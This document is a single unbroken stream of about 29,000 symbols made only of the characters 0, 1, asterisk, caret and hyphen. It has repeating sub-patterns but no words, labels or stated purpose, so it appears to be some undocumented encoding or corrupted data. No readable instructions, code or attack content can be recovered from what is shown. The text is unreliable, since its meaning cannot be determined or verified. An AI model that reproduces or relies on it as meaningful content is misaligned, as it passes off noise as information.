^1*01^1*0011*0-11*-*001^1*110101******01011**101******01**00^-*001******01**010^11*001*001*0--------0^-1*-00-01^-11*-----^--0010^1*-001101*01^1*00110^-11*********^1*0^-001**00---01*0-11*^1*01*1*-----^--*10101*-001101*01^1*0-1*^1*01^1*1*1*-11*-----^--00101101*-001101*01^1**11*0101****01**10110^-10110110101******0-*1*101******1**0-1^1*001******1**01*^1*001*11*******011**0010^11011*-*0010110101011*110^1011*001*1011*-11*^1*0-*00--------1^-1*-*-1*-----^--10^-*-001101*01^1*1^1^-11*********^1*0^-001**00--1*01*-11*^1*01*1*-----^--^-11*-001101*01^1*0-1*-11*^1*01^1*^11*-----110--101**00-001101*01^1*^1101*****001011010-1*01*00^1^^110101010-11*0011*01*1*01*10-0101******0-*1*101******11**00^1**01******11**010101**01*11****011**1*-*0101*-**^1*011010-*1**0^11011********************01*001*0^110101******-1*1*101******1**001^101*001******1***^-*001*11****011**1*-*0101*-**^^110101010-001**^-01*******************001011*01*01*1101*001*001*1*--------0^-1*-*-1*-11*-----110--*1011*0-001101*01^1*1*^1*****01**01*-**^-1*01*1*********-1*0^-001**00--1*11*^1*01*1*-----110--1**1*-001101*01^1*11011010^11*1*^-1*10-11*-1*01*1*^1*01^1*00101*-11*011*001^1**11010-01*011*001*1*--------0^-1*-*0-*-11*-----110--*00101*-001101*01^1**00^-11*********^1*0^-001**00---001*-11*^1*01*1*-----110--00101101*-001101*01^1**01*-11*^1*01^1*10101*-11*--------^10-*-00^1101*****00-11*^-1**1*010^11*1^-11*0-*01*1*-----110--1*1011*-001101*01^1*01^^-11*********^1*0--00^101^-*1101*001*1*011*001*1*--------01^-*-00^1101******01*01^1011**^1^^1********001^11*001*011*01*1*-----110--*-11*-001101*01^1*-10^-11*********^1*0^-001**00--^101*-11*^1*01*1*-----10--^11**0-001101*01^1*10-*-11*^1*01^1*0^1*-11**1*01^1**11010-01**1*01*1*--------0^-1*-0010-*-11*-----10--101^1*00-001101*01^1*^1101*********101011*00^1*^110101^-11*1011*01*1*********0^1*^-001**00--11*1*-11*^1*01*1*-----10---*01*0-001101*01^1*10101*-11*^1*01^1**11*001*001^1*1*******0011**1011*1*11*--------0^-1*-0010101*-11*-----10--10-101*0-001101*01^1**10^-11*********^1*0^-001**00---101*^1*01*1*-----10--11*-*0-001101*01^1*1*0^-11*^1*01^1*0-*0-11*-----10--10--*0-001101*01^1*0101*0-11*--------0^-1*-001*0^-11*-----10--10-*1*-001101*01^1*11010^-11*********^1*0^-001**00--11011*0-11*^1*01*1*-----10--101*101*-001101*01^1*^1101*****00-0110-0011**0^1^^1*0-0-11*0011*01*1*^1*01^1*^1*0-11*-----10--1*-01*-001101*01^1*-10^-11*--------0^-1*-*0101^-11*-----10--1*^11*-001101*01^1*01010^-11*********^1*0^-001**00--10-1*^1*01*1*-----10---011011*-001101*01^1*^11*^1*01^1*11011*0101**1*001*1*--------1^-1*-00^11*-----10---110-*-001101*01^1*-11*-11*********^1*0^-001**00--101011*^1*01*1*--------01***-001101*01^1*10-*^1*01^1*01101******001***1******0011**--01*****011**1^-******1**10^101*****0101*0011*001********0010-1********1101011******1**0-01*******************01010101******11*00-*******1***0101********001101*******1***^11*****001****01********011*01********001^1*****00101*001^101********001101101******1***-*****001***1^1*****00101**^^1*****011**001^11*****011***1101*****00101*00^10-********00-001*****01***10-*********^1******01**00101******01**01*******001***11*1*****011**011*1******01**0-1******001***011******01***11******101**101******00101***011********0010^11********-1*1*****011**001^11*****0101*00^^11******1**1101101*****01**0^1101*****0011**11*1******1***110101******1*00-0^1*****001**-01011********0-0-******1*0010-011*****0101**-01******01**10^11*****00101*001010-1*****011**0101*******01*0010--*****0101**0101101********0^11******01**^1101*****0011**10^-*****0101**-01********00110-00101*101101*01*1*1101*01^1*0^1^-11*0^1*1^1*001*******010101010--01*1*1^1*001****01*****0--*001*1^1*001*******0-11010--0-1*01^1*001****01**001**0--00-*01^1*001*******-1*10--01011*01^1*001****01**0-010^--*11*01^1*001****01**0^110^--001101*01^1*********1***-001*1******00110^1*****0-*0010-1***0-***1^1^1*010101*11*00-----^--0010101*0-00101*001^1*0101*0-11*-----^--10-01*0-00101*001^1*1101*0-11*--------0^-1*-*^1*-11*-----^--1011011*0-00101*001^1*^1101******11*1*01***1*010^-001^-11*0101*01*1*********0^1*^-001**00---01*0-11*^1*0-----^--^1*1*-00101*001^1*10-*-11*1011*0-01*--------0^-1*-0010-*-11*-----^--1101^1*-00101*001^1*1*0^-11*********^1*0^-001**00--101101*^1*0-----^--10110101*-00101*001^1*00-*1011*011011*-----^---01101*-00101*001^1*^1101*****001101^^1*1**1*010^1010-00-11*0101*01*1*--------1^-1*-*0-*-----^---^11*-00101*001^1*^1101******^10101*-1*001*010^1*****001**-11**001*101*01*1*********10101*^-001**00--101011*^1*0-----^--10110-*-00101*001^1*00101*-11*1011*001011*0011*001101*--------10110-*-*00110^1101*1*^11*1*-11*011*001*1*-----110--011**00-00101*001^1**1101*011*1*^--110-11*^1*01*1*********0-*0^-001**00--1^11*^1*0-----110--10-**-00101*001^1*^1*0-11*1011**-*--------01^-*-00^1101******01*11010-1**1*010^1*****01**01*^1*001*101*01*1*-----110--110-*00-00101*001^1*1*^1********1101^1*001*11*001*1*********-1*0--00110101******0^-*0101********00-1^1*001********00^-11*001*1**-*00--------0^-1*-00^1*0-11*-----110---0011*0-00101*001^1*01101**********1*0^-001**00---011*^1*0-----110--*-1*0-00101*001^1*^11*-11*1011*0^11*1101*001101*--------^10-*-00^1101******0-10-101**00^1^^-011010-11**1*01*1*-----110--1010^1*-00101*001^1*11011*-11*********^1*0^-001**00--1*11*^1*0-----110---00101*-00101*001^1*^1101******0110-0^1**00^1^^1*****01***0-1**1*001*01*1*1011*00-1*-----110--0-1101*-00101*001^1*01101*-11*0101*0110101******^101*0010^1*1*-11*00^^-11*1*******0010^1*011*11*10-*0110110101********11*101******11***0011**1******11**0010-**^-*0011**110101******011*01*101******11**0101***1******11**001101**01**1*-11*110101******11*001*101******1**0-1101**1******1**01^11**01*1011**1*001**011*00--------0^-1*-*011*0-11*-----10--^101**-00101*001^1*1*^1********-01101*00^^1*01*1*********-1*0^-001**00--110-*^1*0-----10--^1101*00-00101*001^1*10101*-11*1011*01101*0-11*--------1^-1*-*1101*-----10--10-11*00-00101*001^1*110110^1011*1*^1********00110101*00^^1*01*1*********1*1*0-1^^11010-01*110101******0^-*0101******11**1*0101*001******11**-*11*001*1***1*0--------0^-1*-0010101*-11*-----10--10-011*0-00101*001^1**00^-11*********^1*0^-001**00--10101*0-11*^1*0-----10--11**1*-00101*001^1*11011*1011**011*0101*0011****011**0011*1*101*^11*1*110101^11*1*1*001*******************01**01*01*1011*--------1^-1*-0011011*-----10--101^101*-00101*001^1*^1101********010-101*00^1*^11*1*-11*^1*01*1*********0^1*^-001**00---101*^1*0-----10--11*0011*-00101*001^1*-01*1011*00101*0-11*0011**0110^1011**1*0--------01^-*-00^1101********0011*01*00^1*^1********1*0011*00^^1*01*1*-----10---*-*-00101*001^1*^11**********1*0^-001**00--1^1*0-11*^1*0-----10--11010-1*-00101*001^1*1011*0-11*1011*010-*1101*001101*--------^10-*-00^1101******11*--11**0^1^^^101*-11**1*01*1*--------0^1**-00101*001^1*^1101*****00101*-0110-*00^1^^-011**1*01*1*********1*1*^-001**00--^-*^1*0--------001101*00-00101*001^1*^1101*******0010-11011*001*010^10^1010-11*-*001*1*1011*0^1*0-11*1101**011010-01*-*00--------0^-1*-001^1*-11*--------001^1*0-00101*001^1*^11010-01*1*^1********^1^1*001*11*001*1*********1*1*^-001**00--10-1*^1*0--------01^11*0-00101*001^1*0^1*-11*1011*001101******001**10-011*****01**00101*******1**10-011********-1011******1***10-*****001***10101*****01***110-*****001**10-011*****01**0^-11*****001**010-01********001101******1**01^1101*****01**0101*1******1**001*01********101*1*****0011**00101*********1*1011*****001**^^1****************001**-0-*********-11*****001**0010^11*****011**10-*********1101*******1**0010101*****0011**1101******001**0^-******01**001*11*********0-1********1101*********01*0101*****01***^11*********001101*****001**1*1*********01*^101*10101*001*1*101*001^1*-1*0-11*0101*01^1*001*******010101010--0^1*01^1*001****01*****0--*01*01^1*001****01**0^110^--0-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01010^1*****011**00-011**00-***1^1^1*1*******0010101*********011*******001**-0101*****001**1*^1*****001**10-******************************0^1101******01**^11******1***01*1*****001**01010101********01**1*******0010101*********011*******11**01010-*****01**01101*******1**-11011****************001^101*001******10101*11*00--------11010101*-001*0^1^1*1*^-010^-11**01*1*1*-----^--010-00--00^101^-*1011*001*1*-*001*1*--------01*011*-001*0^1^1*^1101*****00-1**00-1*00^1^^1********-0-1*00^1011*01*1*-*001^1**11010-01*-*001*1*********0^11*******************00^11********0011011*********11011******************************0-*00101*101*0^1*1*1*0^1^1*01101***********0010-01101^1*********11*0010-011*************************************************************0101*00101*10-11*1*1*-11*1^1*01101*00-0110101******001^^-110110^1*01*1*--------1^-1*-*1011*--------*-01*-*0-*1^1*^1101*******010^1^11*001*010^1*****01***01101**^10-*1*1*********10101*^-00^1*01*1*^1*01^1*1*******0010101^1010-*01*01*1*********110101*******************00^11****************************************00^1*********0-*00101*1*-*1*1*00-*1^1*^11*********^1101010-0--------11011*11*-00^11*1^1*^110101*0010-11*1*^-^^-11*01011*1*1*-----10---001101010-*101****1****^-1011*01*01*1******************************011011*********11011******************************0011*00101*10^11*1*1*^11*1^1*01011***********0010-01101^1*********11*0010-0110101****01**00101*-10110101*001*1*011****001**1^1^-101^11*******011**00101*0011*-*0010110101011*110-1011*001*1101^-11*101*001*1*011****001**-01^-101^11****01**0101**0010^110101******001*11*101********00-*11*001*********10-01*00^110101******00^101*101******01**^11011*001******01**00^101*001*11****001***1^1*10^11011*01*11011**1101^1^-11*001*0101*001*001*1*110101******001*11*101********001101*1*001*********110-1*00^110101******00^101*10^-^10-11*0^1^-11*011****001***1^1*10^-01*01*11011**^1^110^1**01*0101*001*001*1*101*001*1*011****001**10101^-10110110101******001*11*101******1***0011**01******1**0101^1**^110101******00^101*101******01**001***01******01**^-1**1*11****001***1^1*101*0011*01*11011**1101^10--1*001*0101*001*001*1*101*001*1*011****001**^-00-10110110101******001*11*101******1***1^11*001******1**01*1101*00^110101******00^101*101******1***01***1******1**01010-**1*11****01**01*001*0101*0101*11011010^1*0010^-001^1*001*0011*00101*001*001*1*101*001*1*101*001^1*011****001***01^1^-0011***************************************************************101*00101*10-01*1*1*-01*1^1**11*001*001^1*1*****1**001**0010-00101****1**0-11*-1011*01*01*1******01**0-11**-****************************************00101*********00101********************0011*00101*1010101*1*1*10101*1^1*11011**1*01^1*110101******10110101*101*110-0-11*-10^-11*110101******^10101*101******11**10110101*001******11**01*001*001*1101*110101******1011*1*101******11***00-*001******11**01*101*00^110101******^10101*101******11**001***01******11**110101**0^-01*^1*0--------1*1101*-001^1*1^1*01101*1011*0110101******1011*1*101******01**11*01**1******01**1****1*001*0110101******01*11*0101******1**0^^1**1******1**0110101**0^-**001**11*00101****1***--1^-****************************************0-01*********011***********11*********11*00101*101^1*1*1*1^1*1^1*01011*-----10----**-*011*01^1*0011*0-11*********^1**0-00--------1^-1*-*1011*-----10---0011*00-*011*01^1*^1101*-110-11*1*^^-*-11*1*1*1*1*********-1*0^-001**00--^-*0101*01*1*-----10--^1^1*0-*011*01^1*-1*0-11*0101*01^1*-01*--------01^-*-00^1101********00-0-*00^1*^1********01101011*001*-*01*1*-----10---01011*0-*011*01^1*0-1**********1*0^-001**00--101101*0101*01*1*-----10--110-11*0-*011*01^1*^110101^1*-11*1*^1********1010^1*00^1*1*1*1*0101*01^1*01011*-*001^1*01101*--------^10-*-00^1101********010101011*00^1*^110-^-11*0-*01*1*-----10--110^101*-*011*01^1*^1101******1*10^11***1*010^1********0011*1*00^-1*01*1*********10101*^-001**00--1^11*0101*01*1*-----10--^1*11*-*011*01^1*1101*0-11*0101*01^1**11*0101*00101****01**0^1*1^-0--------0^-1*-001101*0-11*-----10--110-011*-*011*01^1*0101*0-11*********^1*0^-001**00---101*0101*01*1*-----10--1*0-1*-*011*01^1*1011*0-11*0101*01^1*00-*1101*00101^-1*001*1*011*001*1*--------0^-1*-001011*0-11*--------^1**0-*011*01^1*0-*0-11*********^1*0^-001**00---011*0101*01*1*--------00-**-*011*01^1**11*0101*01^1*^11*011*001^1*011****01**0011**0010^--------01^-*-00^1101********0101^11*00^1*^1*****01**00-*1*001**1*1*1*--------1*001*0-*011*01^1*0^1*-11*********^1*0^-001**00--1*11*0101*01*1*--------0010101*0-*011*01^1*^110^110-0-11*1*^1*********0^1*001**1*1*1*0101*01^1*11011*******1**1*1*00-00--------^10-*-00^1101*****00-01^1101***1*010^10-1^-11*-1*01*1*--------0--*0-*011*01^1*1*^101101010-11*0-*01*1*********0011*0^-001**00--101011*0101*01*1*--------0010^1*-*011*01^1*^1101********101^-*00^1^^-010110-11*1011*01*1*0101*01^1*01101******01***101*********110-1***************************1**010-01********0-00101********^-01********10101*********10^-********1^1011********110-******1**01*101*****001***-11**********01********0^11011*****01**01**1*****01***1101********001011*1********1010101*****001***-11*********101*101*1*11*01*1*0011*01^1*1*1*-11*1*1*1^1*001****01*****0--*001*1^1*001****01**001**0--0-1*01^1*001*******-1*10--00-*01^1*001*******0-11010--01011*01^1*001****01**0^110^--001011*1^1*001****01**0-010^--010-*1^1*001*******010101010--001101*01^1*********1***-001*1*******10^1*****0101**-*****1**001^11011****10101*01*******1^^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1^^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**011***101*11*******011**00101*0011*-*0010110101011*110-1011*00^11010110-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1*****0-----10--10-0-*-001011*0^1101*****00^-*-101**1*010^-101*-11*001*001*1*01010^11011******0-11*0010-0-*00--------011**00-001011*0^1101********01^1101*00^1*^1********--01*00^-*001*1*---------00-*-00^1101*****0011**--1**1*010^1*****01**001*11**1*11*001*1*--------101101*00-001011*0^1101*****00-00^1*001**^1^^1********0010-1*00^101*001*1*********00101*^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1*101*0-001011**-*1101*00101****1***001*-1011011011******011**0011*101**--------00^11*0-001011**-*1101**101*--------0010-1*-0010-*--------1^-*0-001011*011011*********-*********001**0101*101*011010-00--01********01*1101*00^-1101011**1^^1*****01***^101*001*01****01**0^110^--*****001***^101*001*01****01**0^110^--0011*00^110^10-00-11*1*011*1*0011**--------^10101*-001011*0^1101*******01*00^1**1*010^101011*-11*001*001*1*0101*001101*--------00-101*-001011*0^1*0-11*01^1*11****01******01011********110^11********1*01*********-*********010-11********001^11********0^-1********010-01********010-01*********001101********001*11********-1101*******************0011*0101*10^1**********1*1*0-00-*001^1*001****01**001**0--0011*001^1*001*******010101010--0101*001^1*001****01**0^110^--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******01^^1*****01**0010-***0-***1^1^1******0-----10--^10-1*-00101*001^1*^1101*****00^110101*1011*001*010^1*****001***011**0^-*001*1*01010^-*00--------1101**0-00101*001^1*01011*--------01^-*-00^1101*****001101*-001011*001*010^1*****01**00-01**0^-*001*1*--------01^1*00-00101*001^1*^1101********011010101*00^1*^1********0010^1*001*11*001*1*********10101*10-^^110^1011010^11*^1**01******001101**110101*001*011******0011**00^-*00^1011**011*0101**011010-01*011*00--------0110101*0-00101*001^1**11*1101*00101*******10-*0010^11011******011**0011*101**--------0101011*0-00101*001^1**11*1101*00-1*--------1^-1*-*0-*--------010-1*0-00101*001^1*11011**********1*********01**0101*101*011010-00--01*********-101*00^1*011*1*001^^1*****01**001*001*001*01****01**0^110^--*****001**001*001*001*01****01**0^110^--0011*00^110101*0^-11*1*011011**001*00--------1*1101*-00101*001^1*01011*0101*001101*--------110-01*-00101*001^1*10-*01^1*11*******--11*01011********0-1101******************00-0-**********011********0-*********0-1101********01010101*********011*********-1101********01^-********001101101********1010101*********11*0101*10101*001*1*********101*1*0-00-*001^1*001*******010101010--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******0010-1*****001**001^1***0-***1^1^1*********-----10---0-11*-001011*01101101010-*1*^101011*-11*-*001*1*01010^-*00--------0101**0-001011*010-*--------01010-*-00^1101*********001101*00^1*^-010^-11*-*001*1*--------1*01*00-001011*0^11010-01*-11*1^^^-010-11*011*001*1*********0-*0^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00----------*00-001011*01101101*011*1*^1*01010-11*101*001*1*1101*00101******00-01*-1011011011******00-**11*-**11011******011**0011*101**--------0-101*0-001011*0^11*1101**1*00--------0010-1*-*1101*--------1011011*0-001011*0^110101101*0-11*1*^1*****01**010101**001*01*001*1*********1*1*********1**0101*101*01^11*00^110101*1^-11*1*011*1*00101*00---------1*1*-001011*010-*0101*001101*--------*1^1*-001011*0^110^-^--0^101*0-11*^1101*1**010^1*****01**0-001**01*01*******010101010--*****001**0-001**01*01*******010101010--001^^-11*1*^1********-0^1*001*01*001*1*01^1*11*******0--1*01011********^-01********11*11*********11011********010^11********0110-*********1*011********0^11********00-1*1********1101*1********************0011********0011011*********11*0101*10^1**********01011*0-00-*001^1*001****01*****0--0011*001^1*001****01**0^110^--0101*001^1*001****01**0-010^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******00^^1*****01**0101101***0-***1^1^1*--------*01**-00101*001^1*^1101******01^-011011**^1^^1********1^-1*00^^1*01*1*01010^-*00--------1^-1*-0011011*--------101101*00-00101*001^1*10-**********1*0--00^11010^1*01101101*011**1*********010101101*00^1011*0010-00-11*0011******001**00101011**1*101**011010-01*011*00--------1*101*0-00101*001^1*^1101******0-1*1011**001*010^1*****001**0010101**1*001*01*1*1101*00101*******1*011*10^11**01**--------0-011*0-00101*001^1*1*^11*0110-11*-*001*1*1101*0-01*--------1^-1*-*0-*--------01*001*-00101*001^1*-01**********1*********01**0101*101*01^11*00^1101*-0011*^10--0-11*001****01**001**0--011010^-11*001****01*****0--0110-10-11*1*0110101**01*00--------11010101*-00101*001^1*11011*0101*001101*--------10101101*-00101*001^1*^110101*^1^1*0-11*011*001*1*1*^^101^-11*011*001*1*01^1*11*******10--*01011*********11*********01^101********1*101********001^101********-1101********001*1********************-11*********010101********1*101********001*1********001101*0101*10101*001*1*********110^1*0-00^1*01^1*001****01**0^110^--*01*01^1*001*******010101010--0-*001^1*001****01**001**0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01*^1*****01***011***00-***1^1^1*--------1010101*0-*10101*1^1*11*******00--*01011********-*********00-**********11********************0-*********00101*00101*1*01*01*1**1*01^1*-01*01010^---------00-*-00^1101********0110^11*00^1*^1********101^11*001*11*001*1*--------*1101*0-001011*0^1101*****001*1010-1***^1^^1********-00-*00^101*001*1*********00101*010-0010-01*011*-*00--------0010-*0-001011**-*1101**011010-*00101*001101*00101101010^^101**101**011010-01*011**101****1***-10-11011011**11011******011**0011*101**--------1^^1*-001011*0^1101******10^^1*011*00^1^^1*****01**0-0011**^101*001*1*--------0010-1*-0010-*--------10110101*-001011*001011*********-*********001**0101*101*01^11*00^110101*0110-11*1*0110101**01*00--------101*11*-001011*01*^-1*10-11*001*001*1*0101*001101*********1011*********01011*1********--*********-101********0--********00110101********00110^1*******************-0101********0110^1********00101*0101*10^1*01011**011*011*001^1*001****01*****0--0101*001^1*001****01**0^110^--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1*******00^1*****01***1****011***01^1^1*--------010^1*0-*10101*1^1*11*******110-11*01011********-********************0-********************0-*********00101*00101*10-*001*1*-*001^1*-01*01010^--------0010-1*-*1011*--------001*1*0-001011*011011*********-**10-0010-01*011*-*00--------1^101*0-001011*0^11010110^10-11*1*^1********^^11*00^101*001*1*1101**011010-*00101*001101*0010110^-^--010-10^-11*-11010101**010^10-0^-11*001*******-1*10--00-0^-11*001*******-1*10--010^^101**101**011010-01*011**101****1**001*00-11011011011******00-**11*-**11011******011**0011*101**--------0110^1*-001011*0^1*0-11*---------00-*-00^1101******101*010-101*001*010^1*****001**10-**001*01*001*1*--------1*1101*-001011*010-*********-*********001**0101*101*01^11*00^110^^-0-11*1*0110101**01*00--------^^11*-001011*001011*0101*001101*********101^1*********-1*********01011********00--1*********10^1********^1*********00101011********0--1********0--1*******************0101*0101*10^1*01011*001101*101*001^1*001****01**0-010^--*1*001^1*001*******010101010--001101*01^1*********1***-001*1******0-1*1*****01***1****0-***1^1^1*-----10--1*01011*-001011**011*01010^1*******0011**1010-0-*00-----10--10-1011*-001011*0^1101********0110-11*00^1*^1********01101011*00^-*001*1*--------1^-1*-001101*0-11*-----10--1^-11*-001011*00101*0-11**********1*0^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1*1**-001011*0^1101*****00101010-101011**1*010^-^^-11*011*001*1*1101*00101*******1101*-1011011**11011******011**0011*101**---------101*00-001011*0^1101********00-0-*00^1*^1*****01**00--**^101*001*1*1101*00101*******^1*-1011011**11011******011**0011*101**--------*0101*0-001011**11*0-11*1101*00101*******0101*-1011011**11011******011**0011*101**--------10^11*0-001011**11*0-11*1101**101*--------0-1011*-0011011*--------00^-*-00^1101*********101011*00^1*^1^10^-11*001*001*1*--------0010-1*-0010-*--------1101*1*-001011*01011*0-11*********0-1*********0-**********01*********011**101*101*01^11*00^11010110^10-11*1*0110101**01*00--------00110101*-001011**011*0101*001101*--------10101101*-001011*00-1*01^1*11*******010-11*01011********1^101********01*1101********00^-*********01011********10-01********01011*********010-01********011010-********1^^1********1^101*******************01101********************^-********00-*0101*10^1*********0110^1*0-00-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001****01**001**0--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******00-*1*****01***01101***11***01^1^1***00-----10---10-1*-00101*001^1*01101*01010^-*00--------1^-1*-*1101*---------**00-00101*001^1*^110^-0110-11*1*^--^-11*-*001*1*********-1*0--*0-00--01********0101^11*001**0110101*001*^1********1*1101*001*01****01*****0--********01*1101*001*01****01*****0--0^11010^1*011011010^11**1******001**01^1101*00^1011******001**0110-1**1*011******00101*00^11**001*101**011010-01*011*00--------1^101*0-00101*001^1*^1101******10^11*1***1*010^1********-10101*001*11*001*1*1101*00101******0010101**10^101**-**1**-*0101*0011011******00-**11*^1*0011**11011******011**0011*101**--------**01*-00101*001^1*10-*1101*011**--------1^-1*-00^11*--------*0^1*-00101*001^1*01011**********1*********01**0101*101*01^11*00^110^1010110-11*1*0110-**-*0011**-*0--------11010101*-00101*001^1*^1101******001101*01***1*010^--*-11*011*001*1*0101*001101*----------01*-00101*001^1*-01*01^1*11*******^-11*01011********010-1*******************0--********0010-1********0010-1********00-0011********11*01********0101^1*********1^11********0-*********001*1********001101*0101*10101*001*1*********1*001*0-00-*001^1*001****01**0-010^--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1******01011*1*****01**011*1***0-***1^1^1******0010101*11*00--------0^-1*-*101*0-11*-----^--1**1*-001101*01^1*-01*-11*********^1*0--00^101^-*-1*001*1**1*01*1*-----^--1010^1*-001101*01^1*^1101*********01*1*00^1*^-001^-11*-1*01*1**1*01^1**11010-01**1*01*1*-----^--10110101*-001101*01^1**01*-11*01^1*101****01***^10-101^11****001***1^1*10^-01*01*11011**^1^110^1**01*0101*0101****01**1*0010-10110110101******0-*1*101******1**0^-11*001******1**0-0-1*00^101*001*1*011****011**1*-*0101*-**^^-10101010^11*00^11011********************-*01*01*001*0-----^--1^-1*-001101*01^1*0^1*-11*01^1*101****01***^10-101^11****011**0011*1*101*^11*1*110110^-001011**1*******************00101*01*01*1101*0101****01**1*0010-10110110101******0-*1*101******11**110-01*001******11**10101101*00^101*001*1*011****011**1*-*0101*-**^^-10101010^11*00^11011********************01*001*01*001*0101*001^1*0101^1*1*01*1*-*001*1*-----110--*^1*0-001101*01^1*^1101*****001011*^11011**1*010^1********1101*1*001*-*01*1**1*01^1*01101*-*001^1*001*001*1*-----110--00^11*0-001101*01^1*0-1*001*001^1*110101******00110101*101******11**01*11**1******11**1*1**001*11*001*1*10-00^110^-11*01101*011*001*1*011*001^1*1*******0010^^1011*-101*^1*0-----110--0-*1*-001101*01^1*1^1*-11*1011*00101****01***^10-101^11*******00101011*10^^-*011*001*10^1*1**1*0011*01011010-11*0101****01**1*0010-101^11*******011**00101*0-*-*0010110101011*1101101101*001*01*10-11**1**11*0011****001**101010101^-0110101******1*0101*101******01**1^101**1******01**10101**00^-*00-----110--1^1011*-001101*01^1*^1101******00^1*1*11*001*010^1*****01**00110101**1*011*01*1*-----110--*10-*-001101*01^1*^1*0-11*--------01^-*-00^1101******0-0101****1*010^1********01*011*001*011*01*1*-----10--^1**00-001101*01^1*^11**********1*0^-001**00---011*^1*01*1*-----10--101101**-001101*01^1*01101*-11*^1*01^1*-01*--------01^-*-00^1101******^11*0101011*001*010^1********101*01*001*-*01*1*-----10--1101011*00-001101*01^1*10101*-11*********^1*0^-001**00--101101*^1*01*1*-----10--1*^1*0-001101*01^1*1101101011011*1*^1*0-0-11*1011*01*1*^1*01^1**11*0101*00101****01**0^1*1^-0--------1^-1*-*1011*-----10--110^11*0-001101*01^1*-01**********1*0^-001**00---101*^1*01*1*-----10---10-*0-001101*01^1*0011*0-11*^1*01^1*01011*--------0^-1*-00^1*0-11*-----10--10101*1*-001101*01^1**11**********1*0010-00110101******-01101*101******1**001011011*001******1***-101*00^-*00--------11*-*-00^110101*^1*****01**00110101**^1011*01*1*1*^1********101^11*00^1011*01*1*-----10--110-101*-001101*01^1*-1*0-11*********^1*0^-001**00--1^11*^1*01*1*-----10--1*01011*-001101*01^1*01011*-11*^1*01^1*^11*-----10--^-011*-001101*01^1*1*^1*****01**0-***0^1011*01*1*1101*0110101******--*00101******01**0^1101*001******01**00110101*001*11****01**01*001*0101*0101*11011010^1*0-^-01^1**1*1011*00101*110101******-1*1*101******11**00101011*001******11**0110^1*001*11****011**10-001*10^1101**-^-0^1*11011*001*0101*01101**11*-11*--------0^-1*-*1011*-11*--------001101*00-001101*01^1*^1101******01010-01***01*010^1*****01**0-10-*001*011*01*1*********10101*^-001**00--1*11*^1*01*1*--------110^1*0-001101*01^1*11011*^1*01^1*11011*010101*11*00--------1^-1*-0011011*--------0-101*0-001101*01^1*1011*0-11*********^1*0^-001**00--101011*^1*01*1*--------1*-*0-001101*01^1*^1101*****00^11*01101101*001*010^1********10^-*001*011*01*1*^1*01^1*01101******01**01*0101********^-01*****01**01*001******1**001101******11**-1******001**01^-*****001**0-0011*********^11*****001**0110-11*****001**0110^1*****001**^101******01**00-011********01*-********1^11********001*11******1**00^1**********11******001**1*001*****001**001101101*****001**10^1*******************010110101********0-11******1**01*001*****001***01^1*****01**0011*******1**0010101******01**0010-1********00-*101*101101*01*1*1101*01^1*10-*-1*01^1*001****01**0-010^--00-*01^1*001*******-1*10--01011*01^1*001*******0-11010--*11*01^1*001*******010101010--001101*01^1*********1***-001*1*******11*1*****011**0-0101***11***1^1^1****10101*11*00-----^--**1*0-*001*01^1**1101010101*-11*1*^1*****01**0110101**0^^1*01*1*-----^--0^101*0-*001*01^1*0011*0-11*---------10-*-001*^-1*10-11*0101*01*1*-----^--10^11*0-*001*01^1*^1101******01011*00^11*001*010^1*********10101*00^1011*01*1*********10101*^-001**00--^11*0-11*011*001*1*-----^--101*01*-*001*01^1*1*^11*1*-11*0011*01*1*011*001^1*-01*---------10-*-001*^11*1*-11*0011*01*1*-----^--0-^1*-*001*01^1*^1101*********1^11*00^1*^1********^10101*001*-*01*1*********10101*^-001**00--101101*011*001*1*-----^--10-101*-*001*01^1*1*1*-11*011*001^1*0101*0-11*0011*010-0^-1**11010-01**1*0--------0^-1*-001*1*-11*-----^---01011*-*001*01^1*^1101*****00^1^-^-*001*010^1010^10-11*1011*01*1*********0^1*^-001**00--1^1*0-11*011*001*1*-----^--0010-1*-*001*01^1*01101*011*001^1*1101*0-11*101*001^1**11010-01*101*001*1*--------1^-1*-*1101*-----110--0011**0-*001*01^1**110^-1*1*^1*10^-11*0101*01*1*********0-*0^-001**00--10101*0-11*011*001*1*-----110--10^1*00-*001*01^1*0-*0-11*011*001^1*01011*0011*001101*--------0-0-*-00110110^1011*1*^101011*0011*01*1*-----110--0-11*00-*001*01^1*^11**********1*0^-001**00--1^11*011*001*1*-----110--*0101*0-*001*01^1*^1101*001*-11*1*^10-0010-11*0011*01*1*011*001^1*10-*-----110--01*11*0-*001*01^1*10-*-11*--------0^-1*-00^11*-11*-----110--0^-*0-*001*01^1*^1101*****001*0-0110-**1*010^1*****01***1*01*00^1101*01*1*********10101*^-001**00--^-*011*001*1*-----110--1*^1*-*001*01^1*^110101*^1********001*01*00^^1*01*1*1*^1*****01**00101*1*00^^1*01*1*011*001^1*0011*0-11*--------0^-1*-**0^-11*-----110--00101101*-*001*01^1*0101*0-11*********^1*0--00^101^-*^1*001*1*101*001*1*---------10-*-001*^1*10^-11*0101*01*1*-----110--0^1011*-*001*01^1*10-*-11*********^1*0^-001**00---01*0-11*011*001*1*-----110--01^-*-*001*01^1*0-1*-11*011*001^1*00-*101*001^1*01101*--------0^-1*-*-1*-11*-----110--00--*-*001*01^1*-11*-11*********^1*0^-001**00---011*011*001*1*-----10---11**0-*001*01^1*10-*011*001^1*^1*0-11*-----10---011**-*001*01^1*00-*0101*0110101******^101*00101**********0011*001********001010-1*00^1*******0010^1*011*11*10-*0110110101********11*101******01***1***1******01**00-**001*001*0-*00^1*0011*00--------1^-1*-0010-*-----10---00101*0-*001*01^1*0^1*-11*********^1*0^-001**00--10-1*011*001*1*-----10--101^11*0-*001*01^1*01101*-11*011*001^1**11*0101*0011****011**0011*1*